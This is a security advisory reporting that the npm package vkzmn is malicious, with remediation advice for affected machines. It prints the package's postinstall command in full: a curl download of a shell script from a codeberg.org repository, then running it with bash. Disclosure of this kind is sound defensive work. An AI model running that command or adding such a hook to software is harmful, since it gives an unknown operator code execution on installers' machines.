Advisory
MAL-2026-6594
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in vkzmn (npm)
Details
package.json declares a postinstall lifecycle hook that runs `curl https://codeberg.org/atilalogical/worm_teste/raw/branch/main/down_procwork.sh -o d.sh; bash d.sh`, auto-fetching a shell script from a mutable branch on a third-party codeberg.org account unrelated to the package publisher and piping it to bash on every `npm install`. The fetch is unpinned, unverified (no hash/signature), and the repository slug (`worm_teste`) and the package's empty metadata (no real description, author, or keywords; the package even lists itself as a dependency) indicate a throwaway dropper rather than a legitimate library. Installing this package gives the operator of the codeberg.org repository arbitrary code execution on the installer's machine. ## Source: ghsa-malware (a41dc023cd84c69935ac2c642d6cb9c187fb6bce9c18d226d785fba49e80e50a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
